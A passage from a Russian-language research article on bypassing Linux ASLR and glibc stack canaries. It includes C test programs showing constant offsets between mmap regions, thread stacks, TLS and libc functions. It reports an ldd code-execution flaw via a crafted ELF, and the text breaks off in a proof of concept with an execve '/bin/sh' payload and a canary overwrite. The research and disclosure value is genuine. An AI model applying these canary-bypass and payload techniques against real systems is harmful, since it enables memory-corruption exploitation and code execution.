Pull to refresh

Обходим ASLR для Linux по-новому

Reading time 37 min
Views 16K


Ядро Linux широко распространено во всем мире как на серверах, так и на пользовательских машинах, на мобильных платформах (ОС Android) и на различных «умных» устройствах. За время существования в ядре Linux появилось множество различных механизмов защиты от эксплуатации уязвимостей, которые могут существовать как в самом ядре, так и в приложениях пользователей. Такими механизмами является, в частности, ASLR и stack canary, противодействующие эксплуатации уязвимостей в приложениях.


В данной работе рассмотрена реализация ASLR в ядре ОС Linux текущей версии (4.15-rc1). Были обнаружены проблемы, позволяющие частично или полностью обойти эту защиту. Вместе с описанием проблем предлагается ряд исправлений. Разработана и рассмотрена специальная утилита, позволяющая продемонстрировать найденные проблемы. Все проблемы рассматриваются в контексте архитектуры x86-64, хотя для большинства архитектур, поддерживаемых ядром Linux, они также актуальны.


Множество важных функций для работы приложения реализовано в пространстве пользователя, поэтому в процессе анализа механизма реализации ASLR была проанализирована часть библиотеки GNU Libc (glibc) и были найдены серьезные проблемы с реализацией stack canary. Удалось обойти защиту stack canary и запустить произвольный код через утилиту ldd.


В данной работе рассматриваются различные способы обхода ASLR при эксплуатации приложений.


1. ASLR


ASLR (address space layout randomization) — это технология, созданная для усложнения эксплуатации некоторого класса уязвимостей, применяемая в некоторых современных операционных системах. Основной принцип данной технологии заключается в устранении заведомо известных атакующему адресов адресного пространства процесса. В частности, адресов, необходимых для того, чтобы:


  • передать управление на исполняемый код;
  • построить цепочку ROP-гаджетов (Return Oriented Programming (1));
  • прочитать (перезаписать) важные значения в памяти.

Впервые технология была реализована для Linux в 2005 году. В Microsoft Windows и Mac OS реализация появилась в 2007 году. Хорошее описание реализации ASLR в Linux дается в статье (2).


За время существования ASLR были созданы разные методики обхода этой технологии, среди которых можно выделить следующие типы:


  • «утечки адресов» — некоторые уязвимости позволяют злоумышленнику получать необходимые для атаки адреса, что и позволяет обходить ASLR (3);
  • относительная адресация — некоторые уязвимости позволяют злоумышленнику получать доступ к данным относительно некоторого адреса, за счет чего осуществлять обход ASLR (4);
  • слабости реализации — некоторые уязвимости позволяют злоумышленнику угадать необходимые адреса из-за малой энтропии или свойств конкретной реализации ASLR (5);
  • побочные эффекты работы аппаратуры — особенности работы процессора, позволяющие обойти ALSR (6).

Стоит отметить, что в разных ОС реализации ASLR очень сильно различаются и развиваются. Последние изменения связаны с работой Offset2lib (7), представленной в 2014 году. В ней были раскрыты слабости реализации, позволяющие обходить ASLR за счет близкого расположения всех библиотек к образу бинарного ELF-файла программы. В качестве решения было предложено выделить образ ELF-файла приложения в отдельный случайным образом выделенный регион.


В апреле 2016 года создатели Offset2lib раскритиковали также текущую реализацию, выделив недостаточную энтропию при выборе адреса региона в работе ASLR-NG (8). Однако с тех пор патч не был опубликован.


Рассмотрим результат работы ASLR в Linux на текущий момент:



2. ASLR в Linux


Для первоначального опыта возьмем Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-40-generic x86_64) с установленными последними на данный момент обновлениями. Результат не сильно будет зависеть от дистрибутива Linux и версии ядра начиная с 3.18-rc7. Если выполнить «less /proc/self/maps» в командной строе Linux, можно увидеть примерно следующее.


На примере видно:


  • Базовый адрес бинарного приложения (в нашем случае /bin/less) выбран как 5627a82bf000.
  • Адрес начала кучи (heap) выбран как 5627aa2d4000, что есть адрес конца бинарного приложения плюс некоторое случайное значение, в нашем случае равное 1de7000 (5627aa2d4000– 5627a84ed000). Адрес выровнен на 2^12 ввиду архитектурных особенностей x86-64.
  • Адрес 7f3631293000 выбран как mmap_base, этот адрес будет максимально возможно старшей границей при выборе «случайного» адреса для любого выделения памяти с помощью системного вызова mmap.
  • Библиотеки ld-2.23.so, libtinfo.so.5.9, libc-2.23.so расположены подряд.

Если применить вычитание к соседним регионам памяти, можно заметить: существенна разница между бинарным файлом, кучей, стеком и младшим адресом local-archive и старшим адресом ld. Между загруженными библиотеками (файлами) нет ни одной свободной страницы.


Если повторить процедуру много раз, картина сильно не изменится: разность между страницами будет отличаться, однако библиотеки и файлы буду одинаково расположены друг относительно друга. Этот факт и стал опорной точкой для данной статьи.


3. Почему это так


Рассмотрим, как работает механизм выделения виртуальной памяти процесса. Вся логика находится в функции ядра do_mmap, реализующей выделение памяти как со стороны пользователя (syscall mmap), так и со стороны ядра (при выполнении execve). Она разделяется на два действия — сначала выбор свободного подходящего адреса (get_unmapped_area), потом отображение страниц на выбранный адрес (mmap_region). Нам будет интересен первый этап.


В выборе адреса возможны варианты:


  1. Если выставлен флаг MAP_FIXED, то в качестве адреса вернется значение аргумента addr.
  2. Если значение аргумента addr отлично от нуля, оно используется как «подсказка», и в некоторых случаях будет выбрано именно это значение.
  3. В качестве адреса будет выбран наибольший адрес свободного региона, подходящий по длине и лежащий в допустимом диапазоне выбираемых адресов.
  4. Адрес проверяется на ограничения, связанные с безопасностью (к этому вернемся позднее, раздел 7.3).

Если все прошло успешно, по выбранному адресу будет выделен необходимый регион памяти.


Детали алгоритма выбора адреса


В основе менеджера виртуальной памяти процесса лежит структура vm_area_struct (далее просто vma):


struct vm_area_struct {
    unsigned long vm_start; /* Our start address within vm_mm. */
    unsigned long vm_end; /* The first byte after our end address
within vm_mm. */
    ...
    /* linked list of VM areas per task, sorted by address */
    struct vm_area_struct *vm_next, *vm_prev;

    struct rb_node vm_rb;
    ...
    pgprot_t vm_page_prot; /* Access permissions of this VMA. */
    ...
};

Эта структура описывает начало региона виртуальной памяти, конец региона и флаги доступа к входящим в регион страницам.


vma организованы в двусвязный список (9) по возрастанию адресов начала региона. И в расширенное красно-черное дерево (10), также по возрастанию адресов начала региона. Хорошее обоснование этому решению дается самими разработчиками ядра (11).


Пример двусвязного списка vma в порядке возрастания адресов:



Расширением красно-черного дерева является величина свободной памяти для рассматриваемого узла. Величина свободной памяти узла определяется как максимум:


  • из разности между началом текущей vma и концом ее предшественника в двусвязном списке по возрастанию;
  • величины свободной памяти левого поддерева;
  • величины свободной памяти правого поддерева.

Пример расширенного красно-черного дерева vma:




Выбранная структура позволяет быстро (за O(log n) ) находить vma, соответствующий искомому адресу, или выбирать свободный диапазон определенной длины.


При выборе адреса вводятся также две важных границы — минимально возможное нижнее значение и максимально возможное верхнее. Нижнее определяется архитектурой как минимальный допустимый адрес или как минимальное разрешенное администратором системы. Верхнее — mmap_base — выбирается как stack – random, где stack — это выбранный максимальный адрес стека, random — некоторое случайное значение с энтропией от 28 до 32 бит в зависимости от соответствующих параметров ядра. Ядро Linux не может выбрать адрес выше mmap_base. В адресном пространстве процесса адреса, большие mmap_base, либо соответствуют стеку и специальным системным регионам — vvar и vdso, либо не будут использованы никогда, если только явно не будут выделены с флагом MMAP_FIXED.


Во всей схеме неизвестными являются адрес начала стека главного потока, базовый адрес загрузки бинарного файла приложения, начальный адрес кучи приложения и mmap_base — стартовый адрес выделения памяти с помощью mmap.


4. Почему это плохо


Можно выделить несколько проблем, которые следуют из описанного алгоритма выделения памяти.


4.1 Близкое расположение памяти


Во время работы приложение использует виртуальную оперативную память. Распространенные примеры использования приложением памяти — это куча, код и данные (.rodata, .bss) загруженных модулей, стеки потоков, подгруженные файлы. Любая ошибка обработки данных, лежащих в этих страницах, может затронуть и близлежащие данные. Чем больше разнородных страниц находятся рядом, тем больше поверхность атаки и выше вероятность успешной эксплуатации.


Примеры таких ошибок — ошибки с обработкой границ (out-of-bounds (4)), переполнения (целочисленные (12) или буфера (13)), ошибки обработки типов (type confusion (14)).


Частным случаем этой проблемы является уязвимость для Offset2lib-атаки, описанной в (7). Вкратце: проблема заключалась в том, что базовый адрес загрузки программы не выделялся отдельно от библиотек, а выбирался ядром как mmap_base. В случае наличия уязвимости в приложении эксплуатация упрощалась близким расположением образов загруженных библиотек к образу загруженного бинарного приложения.


Очень хорошим примером, демонстрирующим данную проблему, была уязвимость в PHP (15), позволяющая читать или изменять соседние регионы памяти.


В разделе 5 будут представлены несколько примеров.


4.2 Детерминированный метод загрузки библиотек


Загрузка динамических библиотек в ОС Linux почти полностью происходит без обращения к ядру Linux. За это отвечает библиотека ld (из GNU Libc). Единственное участие ядра происходит через функцию mmap (open/stat и прочие файловые операции мы пока не учитываем): это нужно для загрузки кода и данных библиотеки в адресное пространство процесса. Исключение составляет сама библиотека ld, которая обычно прописана в исполняемом ELF-файле программы как интерпретатор для загрузки файла. Сам же интерпретатор грузится ядром.


Итак, если в качестве интерпретатора используется ld из GNU Libc, то происходит загрузка библиотек примерно следующим образом:


  1. В очередь обрабатываемых файлов добавляется ELF-файл программы.
  2. Из очереди обрабатываемых файлов изымается первый ELF-файл (FIFO).
  3. Если файл еще не загружен в адресное пространство процесса, он грузится при помощи mmap.
  4. Каждая необходимая библиотека для рассматриваемого файла добавляется в очередь обрабатываемых файлов.
  5. Пока очередь непуста — следует повторять пункт 2.

Из этого алгоритма следует, что порядок загрузки всегда определен и может быть повторен, если известны все необходимые библиотеки (их бинарные файлы). Это позволяет восстановить адреса всех библиотек, если известен адрес хотя бы одной из них:


  1. Допустим, известен адрес бибилиотеки libc.
  2. Добавим длину библиотеки libc к адресу загрузки libc — и получим адрес загрузки библиотеки, загруженной до libc.
  3. Продолжив вычисления подобным образом, получим значения mmap_base и адреса библиотек, загруженных до libc.
  4. Вычтем из адреса libc длину библиотеки, загруженной после libc. Получим адрес библиотеки, загруженной после libc.
  5. Продолжив вычисления подобным образом, получим адреса всех библиотек, загруженных при старте программы с помощью интерпретатора ld.

Если библиотека была загружена во время работы программы (например, с помощью функции dlopen), ее положение относительно других библиотек может быть неизвестным злоумышленнику в некоторых случаях. Например, если были вызовы mmap с неизвестными злоумышленнику размерами выделяемых регионов памяти.


При эксплуатации уязвимостей знание адресов библиотек очень сильно помогает, например, в поиске «гаджетов» при построении ROP-цепочек. Кроме того, любая уязвимость в любой из библиотек, позволяющая читать (писать) значения относительно адреса этой библиотеки, будет легко проэксплуатирована ввиду того, что библиотеки идут друг за другом.


Большинство дистрибутивов Linux содержат скомпилированные пакеты с наиболее распространенными библиотеками (например, libc). Это дает знание длины библиотек при построении части картины распределения виртуального адресного пространства процесса в описанном выше случае.


Теоретически можно построить большую базу, например, для дистрибутива Ubuntu, содержащую версии библиотек ld, libc, libpthread, libm и т. д., причем для каждой версии одной из библиотек можно определить множество версий библиотек, для нее необходимых (зависимости). Таким образом можно построить возможные варианты карт распределения части адресного пространства процесса при известном адресе одной из библиотек.


Примерами подобных баз являются базы libcdb.com и libc.blukat.me, используемые для определения версий libc по смещениям до известных функций.


Из всего описанного следует, что детерминированный порядок загрузки библиотек является проблемой безопасности приложений, значение которой увеличивается вместе с описанным ранее поведением mmap. В ОС Android эта проблема исправлена начиная с 7-й версии (16) (17).


4.3 Детерминированный порядок выполнения


Рассмотрим следующее свойство программ: существует пара определенных точек в потоке выполнения программы, между которыми состояние программы в интересующих нас данных определено. Например, когда клиент соединяется с сетевым сервисом, последний выделяет для клиента некоторые ресурсы. Часть этих ресурсов может быть выделена из кучи приложения. В этом случае взаимное расположение объектов на куче определено в большинстве случаев.


Это свойство используется во время эксплуатации приложений при построении необходимого состояния программы. Назовем его детерминированным порядком выполнения.


Частный случай этого свойства есть некоторая определенная точка в потоке выполнения программы, в которой (точке) с начала выполнения программы, от запуска к запуску, ее состояние идентично за исключением некоторых переменных. Например, до выполнения функции main программы интерпретатор ld должен загрузить и инициализировать все библиотеки и выполнить инициализацию программы. Расположение библиотек друг относительно друга, как было отмечено в разделе 4.2, будет всегда одинаковым. Отличия на момент выполнения функции main будут в конкретных адресах загрузки программы, библиотек, стека, кучи и выделенных к этому моменту в памяти объектов. Различия обусловлены рандомизацией, описанной в разделе 6.


Благодаря этому свойству злоумышленник может получить информацию о взаимном расположении данных программы. Это расположение не будет зависеть от рандомизации адресного пространства процесса.


Единственная возможная на этом этапе энтропия может быть обусловлена конкуренцией потоков: если программа создаст несколько потоков, их конкуренция при работе с данными может вносить энтропию в расположение объектов. В рассматриваемом примере создание потоков до выполнения main возможно из глобальных конструкторов программы или необходимых ей библиотек.
Когда программа начнет использовать кучу и выделять память в ней (обычно с помощью new/malloc), расположение объектов в куче друг относительно друга также до определенного момента будет постоянным для каждого запуска.


В некоторых случаях расположение стеков созданных потоков и куч, созданных для них, будет также предсказуемо относительно адресов библиотек.


При необходимости можно получить эти смещения, чтобы использовать при эксплуатации. Например, выполнив «strace -e mmap» для данного приложения два раза и сравнив разницу в адресах.


4.4 Дырки


Если приложение после выделения памяти через mmap освобождает некоторую ее часть, могут возникнуть «дырки» — свободные регионы памяти, окруженные занятыми регионами. Проблемы могут возникнуть, если эта память (дырка) будет снова выделена для уязвимого объекта (объекта, при обработке которого в приложении есть некоторая уязвимость). Это снова приводит к проблеме близкого расположения объектов в памяти.


Хороший пример создания таких дырок был обнаружен в коде загрузки ELF-файла в ядре Linux. Во время загрузки ELF-файла ядро сначала считывает полный размер загружаемого файла и пытается отобразить файл целиком с помощью do_mmap. После успешной загрузки файла целиком вся память после первого сегмента освобождается. Все следующие сегменты загружаются по фиксированному адресу (MAP_FIXED), полученному относительно первого сегмента. Это нужно для того, чтобы можно было загрузить весь файл по выбранному адресу и разделить сегменты по правам и смещениям в соответствии с их описаниям в ELF-файле. Такой подход позволяет порождать дырки в памяти, если они были определены в ELF-файле между сегментами.


При загрузке же ELF-файла интерпретатором ld (GNU Libc) — в такой же ситуации — не вызывает unmap, а меняет разрешения на свободные страницы (дырки) на PROT_NONE, обеспечивая тем самым запрет какого-либо доступа процесса к этим страницам. Этот подход является более безопасным.


Для устранения проблемы загрузки ELF-файла, содержащего дырки, ядром Linux был предложен патч, реализующий логику как в ld из GNU Libc (см. раздел 7.1).


4.5 TLS и стек потока


TLS (Thread Local Storage) — это механизм, с помощью которого каждый поток в многопоточном процессе может выделять расположения для хранения данных (18). Реализация этого механизма различна для разных архитектур и операционных систем, в нашем же случае это реализация glibc под x86-64. Для x86 разница будет несущественная для рассматриваемой проблематики mmap.


В случае с glibc для создания TLS потока также используется mmap. Это означает, что TLS потока выбирается уже описанным образом и в случае близкого расположения к уязвимому объекту может быть изменен.


Чем интересен TLS? В реализации glibc на TLS указывает сегментный регистр fs (для архитектуры x86-64). Его структуру описывает тип tcbhead_t, определенный в исходных файлах glibc:


typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  ...
} tcbhead_t;

Этот тип содержит поле stack_guard, хранящее так называемую «канарейку» — некоторое случайное (или псевдослучайное) число, позволяющее защищать приложение от переполнений буфера на стеке (19).


Защита работает следующим образом: при входе в функцию на стек кладется «канарейка», которая берется из tcbhead_t.stack_guard. В конце функции значение на стеке сравнивается с эталонным значением в tcbhead_t.stack_guard, и, если оно не совпадает, приложение будет завершено с ошибкой.


Известны следующие методы обхода:


  • если злоумышленнику не обязательно перезаписывать это значение (20);
  • если злоумышленнику удастся прочитать или предугадать это значение, у него появится возможность успешно провести атаку (20);
  • если злоумышленник может перезаписать это значение на известное, он также получит возможность успешно провести атаку переполнения буфера на стеке (20);
  • если злоумышленник может перехватить управление до того, как приложение будет завершено (21).

Из вышеописанного следует важность защиты TLS от чтения или перезаписи злоумышленником.


Во время данного исследования была обнаружена проблема в реализации TLS у glibc для потоков, созданных с помощью pthread_create. Для нового потока необходимо выбрать TLS. glibc после выделения памяти под стек инициализирует TLS в старших адресах этой памяти. В рассматриваемой архитектуре x86-64 стек растет вниз, а значит, TLS оказывается в вершине стека. Отступив некоторое константное значение от TLS, мы получим значение, используемое новым потоком для регистра стека. Расстояние от TLS до стек фрейма функции, переданной аргументом в pthread_create, меньше одной страницы. Злоумышленнику уже не обязательно угадывать или «подглядывать» значение «канарейки», он попросту может перезаписать эталонное значение вместе со значением в стеке и обойти эту защиту полностью. Подобная проблема была найдена в Intel ME (22).


4.6 malloc и mmap


При использовании malloc в некоторых случаях glibc использует mmap для выделения новых участков памяти — если размер запрашиваемой памяти больше некоторой величины. В этих случаях память будет выделена с помощью mmap, а значит, адрес после выделения будет находится «рядом» с библиотеками или другими данными, выделенными mmap. В этих случаях внимание злоумышленника привлекают ошибки обработки объектов на куче, такие как переполнение кучи, «use after free» (23) и «type confusion» (14).


Интересное поведение библиотеки glibc было замечено в случае использования программой pthread_create. При первом вызове malloc из потока, созданного pthread_creaete, glibc вызовет mmap для создания новой кучи для этого потока. В этом случае все выделенные с помощью malloc адреса в этом потоке будут находиться недалеко от стека этого же потока. Подробнее этот случай будет рассмотрен в разделе 5.7.


Некоторые программы и библиотеки используют mmap для отображения файлов в адресное пространство процесса. Эти файлы могут быть использованы, например, как кэш или для быстрого сохранения (изменения) данных на диске.


Абстрактный пример: пусть приложение загружает MP3-файл с помощью mmap. Адрес загрузки назовем mmap_mp3. Дальше оно считывает из загруженных данных смещение до начала звуковых данных offset. Пусть в приложении присутствует ошибка проверки длины полученного значения. Тогда злоумышленник может подготовить специальным образом MP3-файл и получить доступ к региону памяти, расположенному после mmap_mp3.


4.7 MAP_FIXED и загрузка ET_DYN ELF-файлов


В мануале mmap для флага MAP_FIXED написано следующее:


MAP_FIXED
Don't interpret addr as a hint: place the mapping at exactly that address. addr must be a multiple of the page size. If the memory region specified by addr and len
overlaps pages of any existing mapping(s), then the overlapped part of the existing mapping(s) will be discarded. f the specified address cannot be used, mmap()
will fail. Because requiring a fixed address for a mapping is less portable, the use of this option is discouraged.


В случае, если запрашиваемый регион с флагом MAP_FIXED перекрывает уже существующие регионы, результат успешного выполнения mmap перепишет существующие регионы.


Таким образом, если программист допускает ошибку в работе с MAP_FIXED, возможно переопределение существующих регионов памяти.


Интересный пример такой ошибки был найдет в контексте данной работы как в ядре Linux, так и в glibc.


Есть требование к ELF-файлам, описанное в (24): сегменты ELF-файла должны следовать в заголовке Phdr в порядке возрастания адресов vaddr:


PT_LOAD
The array element specifies a loadable segment, described by p_filesz and p_memsz. The bytes from the file are mapped to the beginning of the memory segment. If the segment’s memory size (p_memsz) is larger than the file size (p_filesz), the ‘‘extra’’ bytes are defined to hold the value 0 and to follow the segment’s initialized area. The file size may not be larger than the memory size. Loadable segment entries in the program header table appear in ascending order, sorted on the p_vaddr member.


Однако это требование не проверяется. Текущий код загрузки ELF-файла следующий:


case PT_LOAD:
    struct loadcmd *c = &loadcmds[nloadcmds++];
    c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize));
    c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize));
...
maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart;
...
for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c)
...
/* Map the segment contents from the file.  */
if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart),
                  maplen, c->prot,
                  MAP_FIXED|MAP_COPY|MAP_FILE,
                  fd, c->mapoff)

Алгоритм обработки всех сегментов следующий:


  1. Вычислить размер загруженного ELF-файла — как адрес окончания последнего сегмента минус адрес начала первого.
  2. Выделить память с помощью mmap для всего ELF-файла с вычисленным размером, тем самым получив базовый адрес загрузки ELF-файла.
  3. В случае с glibc — изменить права доступа. В случае загрузки из ядра — освободить регионы, образующие дырки. В этом пункте поведение glibc и ядра Linux отличается, как было описано ранее в разделе 4.4.
  4. Выделить память с помощью mmap и выставленного флага MAP_FIXED для всех оставшихся сегментов, используя адрес, полученный при выделении первого сегмента, и добавив к нему смещение, получаемое из заголовка ELF-файла.

Это дает злоумышленнику возможность сделать ELF-файл, один из сегментов которого может полностью переопределить существующий регион памяти — например, стек потока, кучу или код библиотеки.


Примером уязвимого приложения является утилита ldd, используемая для проверки наличия в системе необходимых библиотек. Утилита использует интерпретатор ld. Благодаря найденной проблеме с загрузкой ELF-файлов в контексте данной работы удалось выполнить произвольный код, используя ldd:


blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
blackzert@crasher:~/aslur/tests/evil_elf$

В данном случае был прочитан файл /etc/passwd. Нормальный же запуск выглядит примерно следующим образом:


blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
    linux-vdso.so.1 =>  (0x00007ffc48545000)
    libevil.so => ./libevil.so (0x00007fbfaf53a000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfaf14d000)
    /lib64/ld-linux-x86-64.so.2 (0x000055dda45e6000)

В ознакомительных целях исходный код этого примера приводится в папке evil_elf.


Вопрос о MAP_FIXED также был поднят в сообществе Linux в (25), однако на данный момент предлагаемый патч не принят.


4.8 Кэш выделенной памяти


В glibc также существует множество разных кэшей, среди которых есть два наиболее интересных в контексте ASLR — кэш для стека создаваемого потока и кэш для кучи. Кэш для стека работает следующим образом: по завершению потока память стека не будет освобождена, а будет помещена в соответствующий кэш. При создании стека потока glibc сначала проверяет кэш и, если в нем есть регион необходимой длины, использует этот регион. В этом случае обращения к mmap не последует и новый поток будет использовать ранее используемый регион, имеющий те же самые адреса. Если злоумышленнику удалось получить адрес стека потока и он может контролировать создание и удаление потоков программой, то он может использовать полученное знание адреса для эксплуатации соответствующей уязвимости. Кроме того, если приложение содержит неинициализированные переменные, их значения также могут быть подконтрольны злоумышленнику, что в некоторых случаях может приводить к эксплуатации.


Кэш для кучи потока работает следующим образом: по завершению потока созданная для него куча отправляется в соответствующий кэш. При следующем создании кучи для нового потока сначала проверяется кэш, и если в нем есть регион, он будет использован. В этом случае также справедливо все сказанное для стека.


5. Примеры


Возможно, существуют еще случаи, в которых используется mmap. А значит, обнаруженная проблема приводит к целому классу потенциально уязвимых приложений.


Можно выделить несколько примеров, наглядно показывающих найденные проблемы.


5.1 Cтеки двух потоков


В данном примере создадим два потока с помощью pthread_create и посчитаем разницу между локальными переменными обоих потоков. Исходный код:


int * p_a = 0;
int * p_b = 0;
void *first(void *x)
{
    int a = (int)x;
    p_a = &a;
    sleep(1);
    return 0;
}
void *second(void *x)
{
    int b = (int)x;
    p_b = &b;
    sleep(1);
    return 0;
}
int main()
{
    pthread_t one, two;
    pthread_create(&one, NULL, &first, 0);
    pthread_create(&two, NULL, &second, 0);
    void *val;
    pthread_join(one,&val); 
    pthread_join(two, &val);
    printf("Diff: 0x%x\n", (unsigned long)p_a - (unsigned long)p_b);
    printf("first thread stack variable: %p second thread stack vairable: %p\n", p_a, p_b);
    return 0;
}

Вывод после первого запуска:


blackzert@crasher:~/aslur/tests$ ./threads_stack_constant
Diff: 0x801000
first thread stack variable: 0x7facdf356f44 second thread stack vairable: 0x7facdeb55f44

Вывод после второго запуска:


blackzert@crasher:~/aslur/tests$ ./threads_stack_constant
Diff: 0x801000
first thread stack variable: 0x7f360cebef44 second thread stack vairable: 0x7f360c6bdf44

Как видно, при разных адресах переменных разность между ними остается неизменной. В примере она обозначена словом ‘Diff’, сами же значения адресов приводятся ниже. Данный пример демонстрирует возможность воздействия уязвимого кода из стека одного потока на другой поток или на любой соседний регион памяти — независимо от работы ALSR.


5.2 Стек потока и большой буфер, выделенный с помощью malloc


Теперь в главном потоке приложения выделим большой объем памяти через malloc и запустим новый поток. Посчитаем разницу между адресом, полученным malloc, и переменной в стеке созданного нового потока. Исходный код:


void *ptr;
void * first(void *x)
{
        int a = (int)x;
        int *p_a = &a;
        int pid = getpid();
        printf("Diff:%lx\nmalloc: %p, stack: %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a);
        return 0;
}

int main()
{
        pthread_t one;
        ptr = malloc(128 * 4096 * 4096 - 64);
        pthread_create(&one, NULL, &first, 0);
        void *val;
        pthread_join(one,&val);
        return 0;
}


Вывод после первого запуска:


blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant
Diff:11ec
malloc: 0x7f4374ab2010, stack: 0x7f4374ab0e24

Вывод после второго запуска:


blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant
Diff:11ec
malloc: 0x7f9b00d4b010, stack: 0x7f9b00d49e24

Опять же, разность — неизменна. Данный пример демонстрирует возможность воздействия уязвимого кода при обработке буфера с большим размером байтов, выделенного через malloc, на стек созданного потока — вне зависимости от работы ASLR.


5.3 mmap и стек потока


Выделим память с помощью mmap и запустим новый поток через pthread_create. Посчитаем разницу между адресом, выделенным через mmap, и адресом переменной в стеке созданного потока. Исходный код:


void * first(void *x)
{
    int a = (int)x;
    int *p_a = &a;
    void *ptr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0);
    printf("%lx\n%p, %p\n", (unsigned long long)p_a - (unsigned long long)ptr, ptr, p_a);
    return 0;
}

int main()
{
    pthread_t one;
    pthread_create(&one, NULL, &first, 0);
    void *val;
    pthread_join(one,&val); 
    return 0;
}

Вывод после первого запуска:


blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant
87fff34
0x7f35b0e3d000, 0x7f35b963cf34

Вывод после второго запуска:


blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant
87fff34
0x7f5a1083f000, 0x7f5a1903ef34

Разность неизменна. Данный пример демонстрирует возможность воздействия уязвимого кода при обработке буфера, выделенного через mmap, на стек созданного потока — вне зависимости от работы ASLR.


5.4 mmap и TLS главного потока


Выделим память с помощью mmap и получим адрес TLS главного потока. Посчитаем разницу между этими адресами. Удостоверимся, что значение «канарейки» в стеке главного потока совпадает со значением из TLS. Исходный код:


int main(int argc, char **argv, char **envp)
{
    int res;
    char buffer[256];
    sprintf(buffer, "%.255s",argv[0]);
    unsigned long * frame = __builtin_frame_address(0);
    unsigned long * tls;
        res = arch_prctl(ARCH_GET_FS, &tls);

    unsigned long * addr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (addr == MAP_FAILED)
        return -1;
    printf("TLS %p , FRAME %p\n", tls, frame);
    printf(" stack cookie: 0x%lx, from tls 0x%lx\n", frame[-1], tls[5]); 
    printf("from mmap to TLS: 0x%lx\n", (char *)tls - (char*)addr);
    unsigned long diff = tls - addr;
    tcbhead_t *head = (tcbhead_t*)&addr[diff];
    printf("cookie from addr: 0x%lx\n", head->stack_guard);
    printf("cookie == stack_cookie? %d\n", head->stack_guard == frame[-1]);
    return 0;
}

Вывод после первого запуска:


blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant
TLS 0x7f520540c700 , FRAME 0x7ffed15ba130
 stack cookie: 0x94905ec857965c00, from tls 0x94905ec857965c00
from mmap to TLS: 0x85c8700
cookie from addr: 0x94905ec857965c00
cookie == stack_cookie? true

Вывод после второго запуска:


blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant
TLS 0x7f6d4a081700 , FRAME 0x7ffe8508a2f0
 stack cookie: 0x51327792302d5300, from tls 0x51327792302d5300
from mmap to TLS: 0x85c8700
cookie from addr: 0x51327792302d5300
cookie == stack_cookie? true

Как видно, разность не меняется от запуска к запуску, а значения «канарейки» совпали. Это означает, что при наличии соответствующей уязвимости можно изменить «канарейку» и обойти эту защиту. Например — при наличии уязвимости переполнения буфера в стеке и уязвимости, позволяющей писать память по смещению от выделенного с помощью mmap региона. В рассмотренном примере смещение будет равно 0x85c8700. Этот пример демонстрирует метод обхода ASLR и «канарейку».


5.5 mmap и glibc


О похожем примере уже говорилось в разделе 4.2, но вот еще пример: выделим память через mmap и получим разницу между этим адресом и функциями «system» и «execv» из библиотеки glibc — исходный код:


int main(int argc, char **argv, char **envp)
{
    int res;
    system(""); // call to make lazy linking
    execv("", NULL); // call to make lazy linking
    unsigned long  addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (addr == MAP_FAILED)
        return -1;
    unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, "system");
    unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, "execv");
    printf("addr %lx system %lx execv %lx\n", addr, addr_system, addr_execv);
    printf("system - addr %lx execv - addr %lx\n", addr_system - addr, addr_execv - addr);
    return 0;
}

Вывод после первого запуска:


blackzert@crasher:~/aslur/tests$ ./mmap_libc 
addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860
system - addr 8045390 execv - addr 80cc860

Вывод после второго запуска:


blackzert@crasher:~/aslur/tests$ ./mmap_libc 
addr 7f534809c000 system 7f53500e1390 execv 7f5350168860
system - addr 8045390 execv - addr 80cc860

Как видно, разница между выделенным регионом и функциями неизменна. Данный пример демонстрирует метод обхода ASLR, если уязвимый код работает с буфером, выделенным через mmap. Постоянными будут расстояния в байтах не только до функций библиотек, но и для данных, что также может быть использовано при эксплуатации приложения.


5.6 Переполнение буфера на стеке дочернего потока


Создадим новый поток и переполним буфер на стеке до TLS-значения. Если аргументов в командной строке нет, не будем переписывать «канарейку» в TLS, в противном же случае перепишем ее. Эта логика с аргументами была выбрана — просто чтобы можно было показывать разницу в поведении программы.
Переписывать будем байтом 0x41. Исходник код:


void pwn_payload() {
    char *argv[2] = {"/bin/sh", 0};
    execve(argv[0], argv, 0);
}

int fixup = 0;
void * first(void *x)
{
    unsigned long *addr;
    arch_prctl(ARCH_GET_FS, &addr);
    printf("thread FS %p\n", addr);
    printf("cookie thread: 0x%lx\n", addr[5]);
    unsigned long * frame = __builtin_frame_address(0);
